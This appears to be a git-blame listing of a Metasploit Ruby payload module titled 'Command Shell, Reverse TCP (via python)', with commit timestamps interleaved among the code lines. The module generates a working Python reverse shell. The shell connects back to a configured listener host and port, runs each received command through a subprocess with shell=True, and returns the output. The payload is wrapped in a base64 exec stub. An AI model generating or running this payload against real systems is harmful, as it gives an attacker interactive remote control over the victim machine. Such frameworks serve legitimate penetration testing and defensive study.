2014-06-04 02:27:06 +01:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2014-06-04 02:27:06 +01:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2014-06-04 02:27:06 +01:00
|
|
|
|
2022-11-05 15:58:10 -04:00
|
|
|
CachedSize = :dynamic
|
2015-03-09 15:31:04 -05:00
|
|
|
|
2014-06-04 02:27:06 +01:00
|
|
|
include Msf::Payload::Single
|
2020-10-30 17:42:57 +08:00
|
|
|
include Msf::Payload::Python
|
2014-06-04 02:27:06 +01:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(merge_info(info,
|
|
|
|
|
'Name' => 'Command Shell, Reverse TCP (via python)',
|
2020-11-20 16:33:35 -05:00
|
|
|
'Description' => 'Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.',
|
2014-06-04 02:27:06 +01:00
|
|
|
'Author' => 'Ben Campbell', # Based on RageLtMan's reverse_ssl
|
2014-06-09 21:41:38 +01:00
|
|
|
'License' => MSF_LICENSE,
|
2014-06-04 02:27:06 +01:00
|
|
|
'Platform' => 'python',
|
|
|
|
|
'Arch' => ARCH_PYTHON,
|
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
|
'PayloadType' => 'python',
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Offsets' => { },
|
|
|
|
|
'Payload' => ''
|
|
|
|
|
}
|
|
|
|
|
))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
|
# Constructs the payload
|
|
|
|
|
#
|
2022-11-04 00:33:03 +00:00
|
|
|
def generate(_opts = {})
|
2014-06-04 02:27:06 +01:00
|
|
|
super + command_string
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
|
# Returns the command string to use for execution
|
|
|
|
|
#
|
|
|
|
|
def command_string
|
2020-11-06 13:53:22 +08:00
|
|
|
cmd = <<~PYTHON
|
|
|
|
|
import socket as s
|
|
|
|
|
import subprocess as r
|
|
|
|
|
so=s.socket(s.AF_INET,s.SOCK_STREAM)
|
|
|
|
|
so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
|
|
|
|
|
while True:
|
2023-06-08 06:52:33 +05:30
|
|
|
d=so.recv(1024)
|
|
|
|
|
if len(d)==0:
|
|
|
|
|
break
|
|
|
|
|
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
|
|
|
|
|
o=p.stdout.read()+p.stderr.read()
|
|
|
|
|
so.send(o)
|
2020-11-06 13:53:22 +08:00
|
|
|
PYTHON
|
2014-06-04 02:27:06 +01:00
|
|
|
|
2020-10-30 17:42:57 +08:00
|
|
|
py_create_exec_stub(cmd)
|
2014-06-04 02:27:06 +01:00
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|